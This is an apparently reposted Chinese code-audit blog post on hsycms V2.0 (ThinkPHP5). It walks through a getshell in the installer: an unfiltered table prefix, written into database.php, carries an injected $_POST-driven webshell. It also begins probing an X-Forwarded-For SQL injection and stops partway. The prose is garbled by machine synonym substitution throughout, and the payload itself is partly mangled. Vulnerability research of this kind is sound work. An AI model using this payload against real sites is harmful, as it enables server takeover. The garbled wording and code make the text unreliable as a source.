当前位置:首页 > Web开发 > 正文

CMS代码审计(1)

2024-03-31 Web开发

由于刚学习过thinkphp5框架,就找了一个使用该框架的cms,hsycms V2.0,Hsycms企业网站打点系统V2.0下载地点:https://files.cnblogs.com/files/b1gstar/Hsycms%E4%BC%81%E4%B8%9A%E7%BD%91%E7%AB%99%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FV2.zip

同时已有大佬审计了此cms,我也借鉴学习下。https://xz.aliyun.com/t/5770

1、Getshell 缝隙 全局搜索file_put_contents php的向文件写内容函数

技术图片

要操作该函数,必需保证写的内容可控,逐个检察,注意到cms中界说的write_config函数,此中有

1 function write_config($config){ 2 if(is_array($config)){ 3 //读取配置内容 4 $conf = file_get_contents(APP_PATH . ‘install/data/db.tpl‘); 5 //替换配置项 6 foreach ($config as $name => $value) { 7 $conf = str_replace("[{$name}]", $value, $conf); 8 } 9 10 file_put_contents(APP_PATH.‘common/install.lock‘, ‘ok‘); 11 12 //写入应用配置文件 13 if(file_put_contents(APP_PATH . ‘database.php‘, $conf)){ 14 show_msg(‘配置文件写入告成‘); 15 } else {

然后全局搜索write_config,看看哪里挪用了。只有install模块中的index.php挪用了,也就是说在cms开始使用时,要求写入配置文件时,使用了该函数。

//创建数据表 create_tables($db, $dbconfig[‘prefix‘]); //注册首创人帐号 $admin = session(‘admin_info‘); register_administrator($db, $dbconfig[‘prefix‘], $admin); //创建配置文件 $conf = write_config($dbconfig);

向上翻,即可看到变量$dbconfig来源。

//检测数据库配置 if (!is_array($db) || empty($db[0]) || empty($db[1]) || empty($db[2]) || empty($db[3]) || empty($db[5]) || empty($db[6])) { return $this->error(‘请填写完整的数据库配置‘); } else { $DB = array(); list($DB[‘type‘], $DB[‘hostname‘], $DB[‘database‘], $DB[‘username‘], $DB[‘password‘], $DB[‘hostport‘], $DB[‘prefix‘]) = $db; //缓存数据库配置 session(‘db_config‘, $DB);

写入的内容丝毫没有过滤。也就是说此处有写shell的可能。为啥说只是有可能呢,因为cms检测common/install.lock文件不存在时,才会进入到初始化页面,才可以写配置。要想操作该缝隙,可以结合任意文件删除缝隙,,把install.lock文件删除才行。至于如何删除,我们先放一放。先想一想这个缝隙如何操作

可写入内容的页面如下:

技术图片

测验考试了在数据库名写shell,数据库可以创建告成,但是建表的时候就掉败了。

剩下可写的只有前缀了。发明前缀在写入文件之前,要先颠末改削打点员暗码的sql语句执行。

即update `[前缀]user` set password=‘[PASS]‘ where username=‘admin‘;

我随便把前缀改了下,如sy_`;phpinfo();  执行见下图:

技术图片

技术图片

这样是必定是堕落的。先把前面语句补齐。

sy_user` set password=1;# 要把shell写配置文件,要考虑到闭合单引号,sy_user` set password=1 or ‘[email protected]($_POST["cnblog"]).‘# 

技术图片

连接告成:

技术图片

 2、查抄sql注入

先全局搜索X_FORWARDED_FOR,因为这里经常会出问题。。

技术图片

向下翻,发明没有任何过滤,就插入到数据库了。有个前提条件,就是useragent头中要包罗baidu或者google之类。

技术图片

我们测验考试把x_forward_for的值设为单引号,然后跟进下,发明sql语句为

INSERT INTO `sy_spider` (`title` , `url` , `oldurl` , `ip` , `datetime`) VALUES (:data__title , :data__url , NULL , :data__ip , :data__datetime)

温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/30483.html